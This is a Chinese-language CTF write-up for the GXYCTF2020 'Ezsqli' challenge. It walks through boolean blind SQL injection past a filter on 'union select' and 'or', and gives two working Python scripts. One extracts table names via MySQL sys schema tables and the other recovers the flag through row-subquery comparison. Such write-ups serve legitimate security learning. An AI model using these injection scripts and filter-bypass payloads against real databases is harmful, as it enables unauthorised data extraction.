GXYCTF2020 - Ezsqli

1 minute read

GXYCTF2020 - Ezsqli

0x00 判断注入类型

先测试一下,发现过滤了 union select, or 等等,报错注入也没用。输入 1&&1=1 和输入1&&1=2 时,发现回显不同,所以存在布尔盲注。

0x01 利用sys.schema_table_statistics爆表名

因为or、in被过滤了,所以information_schema.columns不能用了,这时候我们可以利用sys.schema_table_statistics这个表。

写个脚本:

import requests
flag=''
url='http://ca5cdac5-e97e-42df-9ed0-233bc75b4c4d.node3.buuoj.cn/index.php'
for i in range(1,50):
    for j in range(33,127):
        payload = "1&&ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+""
        data={
            'id': payload
        }
        r=requests.post(url,data=data)
        if 'Nu1L' in r.text:
            flag=flag+chr(j)
            print(flag)
            break

0x02 无列名注入

这时已经得到 f1ag_1s_h3r3_hhhhh这个表名了,但是不知道列名。常见的无列名注入是要结合联合查询的,但是union select被过滤了。这时可以通过加括号比较来判断这个表的列数,输入1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))返回 Nu1L,说明有两列。

官方文档:https://dev.mysql.com/doc/refman/8.0/en/row-subqueries.html

继续测试,给右边的1加个引号,发现报错了。把右边的1换成 ‘f’,继续报错,换成 ‘g’,返回正确结果,这时基本上可以判定flag在这个表的第二列了。

写脚本跑一下:

import requests
url = 'http://6c05130d-3668-41d6-9ad6-5e69ce00e0cc.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
    for i in range(33,127):
        flag=x+chr(i)
        payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
        data={
        'id':payload
        }
        r = requests.post(url,data=data)
        if 'Nu1L' in r.text:
            x=x+chr(i-1)
            print(x)
            break

flag就慢慢出来了,最后再转化一下大小写就行了

(第一次自己写脚本,写了好久….网上dalao们的脚本好多都看不懂,没想到我也可以!出flag的时候好激动!!